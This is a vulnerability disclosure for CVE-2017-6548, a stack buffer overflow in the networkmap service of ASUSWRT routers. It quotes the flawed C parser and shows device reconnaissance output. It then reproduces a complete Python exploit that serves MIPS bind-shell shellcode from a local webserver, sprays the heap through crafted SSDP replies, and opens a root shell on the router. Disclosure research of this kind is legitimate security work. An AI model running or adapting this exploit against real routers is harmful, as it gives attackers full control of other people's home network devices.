Remote Code Execution

Component: networkmap

CVE: CVE-2017-6548

networkmap is responsible for generating a map of computers connected to the router. It continuously monitors the LAN to detect ARP requests submitted by unknown computers. When a new MAC address appears it will probe the related IP address for running services like printer sharing, http server and also iTunes servers.

This is implemented by sending out multicast SSP discoveries:

M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
ST:upnp:rootdevice
MAN:"ssdp:discover"
MX:3
A device can then respond with messages which indicate the location of the iTunes service.

HTTP/1.1 200 OK
Location:HTTP://host:port/path
Vulnerability:

The function process_device_repsonse is responsible for parsing the SSDP answer:

                                                                                                                                             
/************************************************************************************************/
// process the device response "HTTP/1.1 200 OK"
int process_device_response(char *msg)
{
        char *line, *body, *p;                  // temporary variables
        char *location = NULL;                  // the LOCATION: header
        char host[16], port[6];                 // the ip and port of the device
        ushort destport;                        // the integer type of device port
        char *data = NULL;                      // the data in packet
        int http_fd;                            // the http socket fd
        int nbytes;                             // recv number
        int i;
        char *descri = NULL;
        int len;
	struct timeval timeout={10, 0};

        //search "\r\n\r\n" or "\r\n" first appear place and judge whether msg have blank.
        if( (body = strstr(msg, "\r\n\r\n")) != NULL)
                body +=4;
        else if ( (body = strstr(msg, "\r\n")) != NULL)
                body +=2;
        else
                return 0;
                                                                                                                                             
        p = msg;
        // find the LOCATION information.
        while( p!= NULL && p < body)
        {
                line = strsep(&p, "\r\n");      //divide up string
                if((strncmp(line, "LOCATION:", 9) == 0) || (strncmp(line, "Location:", 9) == 0))
                {
                        location = strip_chars(&line[9], "\t");
                        location = strip_chars(&line[9], " ");
                        break;
                }
        }
        NMP_DEBUG_F("UPnP location=%s\n", location);
        //fprintf(fp_upnp, "UPnP location=%s\n", location);//Yau                                                                                                                                     
        // get the destination ip
        location += 7;
	i = 0;
	while( (*location != ':') && (*location != '/')) {
                host[i] = *location++;
		i++;
	}
        host[i] = '\0';
        //get the destination port
        if(*location == ':') {
            	for(location++, i =0; *location != '/'; i++)
                	port[i] = *location++;
            	port[i] = '\0';
            	destport = (ushort)atoi(port);
	}
	else
		destport = 80;
It contains multiple buffer overflows in the parsing code for host and port. This stack-based overflow can be used to gain control over networkmap’s control flow by overwriting the saved $pc stored on the stack.

Parsing this message:

HTTP/1.1 200 OK
Location:HTTP://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
will overflow host[16] and lead to $pc being set to 0x41414141 which is a starting point for further exploitation.

Exploitation:

In order to develop a working exploit we gather further information of the system.

General Information:

ASUSWRT is based on Linux which is running on a little endian MIPS CPU. The vulnerable program networkmap gets automatically started when the device boots and additionally gets restarted by the watchdog process if it crashes.

# cat /proc/cpuinfo 
system type     : MT7620
processor       : 0
cpu model       : MIPS 24Kc V5.0
BogoMIPS        : 386.04
wait instruction    : yes
microsecond timers  : yes
tlb_entries     : 32
extra interrupt vector  : yes
hardware watchpoint : yes, count: 4, address/irw mask: [0x0000, 0x0ff8, 0x0ff8, 0x0ff8]
ASEs implemented    : mips16 dsp
shadow register sets    : 1
core            : 0
VCED exceptions     : not available
VCEI exceptions     : not available

# ps
  PID USER       VSZ STAT COMMAND
    1 admin     3940 S    /sbin/init
    2 admin        0 SW   [kthreadd]
    3 admin        0 SW   [ksoftirqd/0]
    4 admin        0 SW   [kworker/0:0]
    5 admin        0 SW   [kworker/u:0]
    6 admin        0 SW<  [khelper]
    7 admin        0 SW   [sync_supers]
    8 admin        0 SW   [bdi-default]
    9 admin        0 SW<  [kintegrityd]
   10 admin        0 SW<  [kblockd]
   11 admin        0 SW   [kswapd0]
   12 admin        0 SW   [fsnotify_mark]
   13 admin        0 SW<  [crypto]
   17 admin        0 SW   [mtdblock0]
   18 admin        0 SW   [mtdblock1]
   19 admin        0 SW   [mtdblock2]
   20 admin        0 SW   [mtdblock3]
   21 admin        0 SW   [mtdblock4]
   22 admin        0 SW   [mtdblock5]
   23 admin        0 SW   [kworker/u:1]
   30 admin        0 SW   [kworker/0:1]
   41 admin      660 S    hotplug2 --persistent --no-coldplug
   76 admin     3924 S    console
   78 admin     1276 S    /sbin/syslogd -m 0 -S -O /tmp/syslog.log -s 256 -l 6
   80 admin     1276 S    /sbin/klogd -c 5
   82 admin     1292 S    /bin/sh
  115 admin        0 SW   [RtmpCmdQTask]
  116 admin        0 SW   [RtmpWscTask]
  135 admin        0 SW   [RtmpCmdQTask]
  136 admin        0 SW   [RtmpWscTask]
  164 admin     3932 S    /sbin/wanduck
  168 admin     1128 S    dropbear -p 192.168.1.1:22 -a
  175 admin     3932 S    wpsaide
  189 nobody    1056 S    dnsmasq --log-async
  194 admin     2588 S    avahi-daemon: running [RT-AC53-B8F4.local]
  196 admin     4112 S    httpd -i br0
  197 admin     1068 S    /usr/sbin/infosvr br0
  199 admin     3932 S    watchdog
  201 admin     2180 S    rstats
  210 admin     1160 S    lld2d br0
  211 admin     3932 S    ots
  224 admin      800 S    miniupnpd -f /etc/upnp/config
  229 admin     1284 S    /sbin/udhcpc -i vlan2 -p /var/run/udhcpc0.pid -s /tmp/udhcpc -O33 -O249
  302 admin     1152 S    dropbear -p 192.168.1.1:22 -a
  303 admin     1300 S    -sh
  344 admin     1128 S    networkmap
  359 admin     1280 R    ps

# uname -a
Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux
Memory Map:

networkmap’s memory map is analyzed to continue exploiting the device.

# cat /proc/$(pidof networkmap)/maps
00400000-0040b000 r-xp 00000000 1f:04 270        /usr/sbin/networkmap
0041a000-0041b000 rw-p 0000a000 1f:04 270        /usr/sbin/networkmap
0041b000-0041f000 rwxp 00000000 00:00 0          [heap]
2b893000-2b894000 rw-p 00000000 00:00 0 
2b894000-2b89a000 r-xp 00000000 1f:04 828        /lib/ld-uClibc.so.0
2b89a000-2b8a0000 rw-s 00000000 00:04 0          /SYSV000003e9 (deleted)
2b8a0000-2b8a4000 rw-s 00000000 00:04 32769      /SYSV000003ea (deleted)
2b8a9000-2b8aa000 r--p 00005000 1f:04 828        /lib/ld-uClibc.so.0
2b8aa000-2b8ab000 rw-p 00006000 1f:04 828        /lib/ld-uClibc.so.0
2b8ab000-2b8d9000 r-xp 00000000 1f:04 258        /usr/lib/libshared.so
2b8d9000-2b8e8000 ---p 00000000 00:00 0 
2b8e8000-2b8eb000 rw-p 0002d000 1f:04 258        /usr/lib/libshared.so
2b8eb000-2b8ed000 rw-p 00000000 00:00 0 
2b8ed000-2b8ef000 r-xp 00000000 1f:04 235        /usr/lib/libnvram.so
2b8ef000-2b8ff000 ---p 00000000 00:00 0 
2b8ff000-2b900000 rw-p 00002000 1f:04 235        /usr/lib/libnvram.so
2b900000-2b90e000 r-xp 00000000 1f:04 760        /lib/libgcc_s.so.1
2b90e000-2b91e000 ---p 00000000 00:00 0 
2b91e000-2b91f000 rw-p 0000e000 1f:04 760        /lib/libgcc_s.so.1
2b91f000-2b95a000 r-xp 00000000 1f:04 827        /lib/libc.so.0
2b95a000-2b96a000 ---p 00000000 00:00 0 
2b96a000-2b96b000 rw-p 0003b000 1f:04 827        /lib/libc.so.0
2b96b000-2b96f000 rw-p 00000000 00:00 0 
2b970000-2b97f000 r--s 03eb0000 00:0c 78         /dev/nvram
7f8a7000-7f8c8000 rwxp 00000000 00:00 0          [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0          [vdso]
Observations:

Partial ASLR is activated:

Stack address is randomized
Library addresses are randomized
Program address is not randomized
Heap address is not randomized
There is no Stack-Protector

Both heap and stack are mapped executable

The binary contains almost no gadgets suitable for building a ROP chain

Exploit:

The final exploit consists of the following steps:

Starting a webserver serving shellcode
Listening for multicast UDP messages send by the router
Database clearing / crashing: to make the heap layout predictable
Randomizing MAC address
Send message: jump to gadget that deletes networkmap’s database and crashes
networkmap will be restarted
Spraying heap 1, 2:
Randomizing MAC address
Send message: containing the webserver’s IP+port
networkmap will receive shellcode and store it on the heap
Starting payload
Randomize MAC address
Send message: jump to heap address containing the shellcode
Connect to opened shell
For further details check out the full exploit: networkmap-pwn.py (https://bierbaumer.net/networkmap-pwn.py)

Example:

# ./networkmap-pwn.py
[-] starting webserver
[-] received SSP discovery
[-] clearing database and crashing
[-] received SSP discovery
[-] spraying heap 1/2
[-] got shellcode request
[-] sending shellcode
[-] received SSP discovery
[-] spraying heap 2/2
[-] received SSP discovery
[-] starting payload
[-] try to connect to shell
[-] try to connect to shell
[+] connected
Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux
[+] pwned




---networkmap-pwn.py---
#!/usr/bin/env python3
# ASUSWRT networkmap Remote Code Execution
# Author: Bruno Bierbaumer
# Date: 24/02/2017
# Tested version:
# RT-AC53 (3.0.0.4.380.6038)
# CVE: TODO

# Description:
# networkmap contains a stack-based buffer overflow which can be exploited to run arbitrary code.


ROUTER_IP = '192.168.1.1'
IP = '192.168.1.2'
INTERACE = 'enp0s31f6'

"""
 Shellcode adjusted from https://www.exploit-db.com/exploits/13298/
"""

sc = b"\x41\x41\x04\x28" *1400 #   nops
#alarm handling
sc += b"\xff\xff\x04\x28"   #     a0 <- 0                          */
sc += b"\xbb\x0f\x02\x24"   #     li      v0,4027 ( __alarm )      */
sc += b"\x0c\x01\x01\x01"   #     syscall    
sc += b"\x50\x73\x0f\x24"   #     li      t7,0x7350 (nop)          */
#/alarm
sc += b"\xe0\xff\xbd\x27"   #     addiu   sp,sp,-32                */
sc += b"\xfd\xff\x0e\x24"   #     li      t6,-3                    */
sc += b"\x27\x20\xc0\x01"   #     nor     a0,t6,zero               */
sc += b"\x27\x28\xc0\x01"   #     nor     a1,t6,zero               */
sc += b"\xff\xff\x06\x28"   #     slti    a2,zero,-1               */   
sc += b"\x57\x10\x02\x24"   #     li      v0,4183 ( __NR_socket )  */
sc += b"\x0c\x01\x01\x01"   #     syscall                          */
sc += b"\x50\x73\x0f\x24"   #     li      t7,0x7350 (nop)          */
sc += b"\xff\xff\x50\x30"   #     andi    s0,v0,0xffff             */   
sc += b"\xef\xff\x0e\x24"   #     li      t6,-17                   */
sc += b"\x27\x70\xc0\x01"   #     nor     t6,t6,zero               */
sc += b"\x13\x37\x0d\x24"   #     li      t5,0x3713 (port 0x1337)  */
sc += b"\x04\x68\xcd\x01"   #     sllv    t5,t5,t6                 */
sc += b"\xff\xfd\x0e\x24"   #     li      t6,-513                  */
sc += b"\x27\x70\xc0\x01"   #     nor     t6,t6,zero               */
sc += b"\x25\x68\xae\x01"   #     or      t5,t5,t6                 */
sc += b"\xe0\xff\xad\xaf"   #     sw      t5,-32(sp)               */
sc += b"\xe4\xff\xa0\xaf"   #     sw      zero,-28(sp)             */   
sc += b"\xe8\xff\xa0\xaf"   #     sw      zero,-24(sp)             */
sc += b"\xec\xff\xa0\xaf"   #     sw      zero,-20(sp)             */
sc += b"\x25\x20\x10\x02"   #     or      a0,s0,s0                 */
sc += b"\xef\xff\x0e\x24"   #     li      t6,-17                   */
sc += b"\x27\x30\xc0\x01"   #     nor     a2,t6,zero               */
sc += b"\xe0\xff\xa5\x23"   #     addi    a1,sp,-32                */
sc += b"\x49\x10\x02\x24"   #     li      v0,4169 ( __NR_bind )    */
sc += b"\x0c\x01\x01\x01"   #     syscall                          */
sc += b"\x50\x73\x0f\x24"   #     li      t7,0x7350 (nop)          */
sc += b"\x25\x20\x10\x02"   #     or      a0,s0,s0                 */
sc += b"\x01\x01\x05\x24"   #     li      a1,257                   */
sc += b"\x4e\x10\x02\x24"   #     li      v0,4174 ( __NR_listen )  */   
sc += b"\x0c\x01\x01\x01"   #     syscall                          */
sc += b"\x50\x73\x0f\x24"   #     li      t7,0x7350 (nop)          */
sc += b"\x25\x20\x10\x02"   #     or      a0,s0,s0                 */
sc += b"\xff\xff\x05\x28"   #     slti    a1,zero,-1               */
sc += b"\xff\xff\x06\x28"   #     slti    a2,zero,-1               */
sc += b"\x48\x10\x02\x24"   #     li      v0,4168 ( __NR_accept )  */
sc += b"\x0c\x01\x01\x01"   #     syscall                          */
sc += b"\x50\x73\x0f\x24"   #     li      t7,0x7350 (nop)          */
sc += b"\xff\xff\x50\x30"   #     andi    s0,v0,0xffff             */   
sc += b"\x25\x20\x10\x02"   #     or      a0,s0,s0                 */
sc += b"\xfd\xff\x0f\x24"   #     li      t7,-3                    */
sc += b"\x27\x28\xe0\x01"   #     nor     a1,t7,zero               */
sc += b"\xdf\x0f\x02\x24"   #     li      v0,4063 ( __NR_dup2 )    */
sc += b"\x0c\x01\x01\x01"   #     syscall                          */
sc += b"\x50\x73\x0f\x24"   #     li      t7,0x7350 (nop)          */
sc += b"\x25\x20\x10\x02"   #     or      a0,s0,s0                 */
sc += b"\x01\x01\x05\x28"   #     slti    a1,zero,0x0101           */
sc += b"\xdf\x0f\x02\x24"   #     li      v0,4063 ( __NR_dup2 )    */
sc += b"\x0c\x01\x01\x01"   #     syscall                          */
sc += b"\x50\x73\x0f\x24"   #     li      t7,0x7350 (nop)          */
sc += b"\x25\x20\x10\x02"   #     or      a0,s0,s0                 */
sc += b"\xff\xff\x05\x28"   #     slti    a1,zero,-1               */   
sc += b"\xdf\x0f\x02\x24"   #     li      v0,4063 ( __NR_dup2 )    */
sc += b"\x0c\x01\x01\x01"   #     syscall                          */
sc += b"\x50\x73\x0f\x24"   #     li      t7,0x7350 (nop)          */
sc += b"\x50\x73\x06\x24"   #     li      a2,0x7350                */
sc += b"\xff\xff\xd0\x04"   # LB: bltzal  a2,LB                    */
sc += b"\x50\x73\x0f\x24"   #     li      t7,0x7350 (nop)          */
sc += b"\xff\xff\x06\x28"   #     slti    a2,zero,-1               */
sc += b"\xdb\xff\x0f\x24"   #     li      t7,-37                   */
sc += b"\x27\x78\xe0\x01"   #     nor     t7,t7,zero               */
sc += b"\x21\x20\xef\x03"   #     addu    a0,ra,t7                 */
sc += b"\xf0\xff\xa4\xaf"   #     sw      a0,-16(sp)               */
sc += b"\xf4\xff\xa0\xaf"   #     sw      zero,-12(sp)             */
sc += b"\xf0\xff\xa5\x23"   #     addi    a1,sp,-16                */
sc += b"\xab\x0f\x02\x24"   #     li      v0,4011 ( __NR_execve )  */
sc += b"\x0c\x01\x01\x01"   #     syscall                          */
sc += b"/bin/sh";


import time
import struct
import socket
import sys
import os
import threading
import socketserver
import telnetlib

# randomize mac address
def mac():
    os.system('macchanger  -A {} > /dev/null'.format(INTERACE))

# setup interface
os.system('ifconfig {} down; ifconfig {} {} up; route add default gw {}'.format(INTERACE, INTERACE, IP, ROUTER_IP))


# setup minimal webserver for delivering the shellcode
class ThreadedHTTPRequestHandler(socketserver.BaseRequestHandler):

    def handle(self):
        print('[-] got shellcode request')
        self.request.recv(1024)
        print("[-] sending shellcode")
        self.request.send(sc)

class ThreadedHTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass

print('[-] starting webserver')
socketserver.TCPServer.allow_reuse_address = True
server = ThreadedHTTPServer(('0.0.0.0', 1337), ThreadedHTTPRequestHandler)
t = threading.Thread(target=server.serve_forever)
t.start()

# start multicast receiver
addrinfo = socket.getaddrinfo('239.255.255.250', None)[0]
s = socket.socket(addrinfo[0], socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('', 1900))
group_bin = socket.inet_pton(addrinfo[0], addrinfo[4][0])
mreq = group_bin + struct.pack('=I', socket.INADDR_ANY)
s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)

mac()
state = 'clean'

while True:
    data, sender = s.recvfrom(1500)

    if sender[0] == ROUTER_IP and sender[1] == 1008:
        print("[-] received SSP discovery")

        data = {}
        data['clean'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + b'CCCC'*11 + b'\xfc\x8c\x40/' +b'\r\n\r\n'
        data['pwn']   = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + b"AAAA"*11 + b'\x04\xd5\x41/' +b'\r\n\r\n'
        data['heap']  = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + IP.encode()+ b':1337/A\r\n\r\n'  
        data['heap2']= data['heap']

        sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) 
        sock.sendto(data[state], sender)

        if state == 'pwn':
            print("[-] starting payload")
            while True:
                try:
                    print("[-] try to connect to shell")
                    telnet = telnetlib.Telnet()
                    telnet.open('192.168.1.1', 0x1337, timeout=1)
                    print('[+] connected')
                    telnet.write(b'uname -a; echo [+] pwned\n')
                    telnet.interact()
                except:
                    pass
                time.sleep(2.0)

        if state == 'heap2':
            print("[-] spraying heap 2/2")
            mac()
            state = 'pwn'

        if state == 'heap':
            print("[-] spraying heap 1/2")
            mac()
            state = 'heap2'

        if state == 'clean':
            print('[-] clearing database and crashing')
            mac()
            state = 'heap'
---EOF---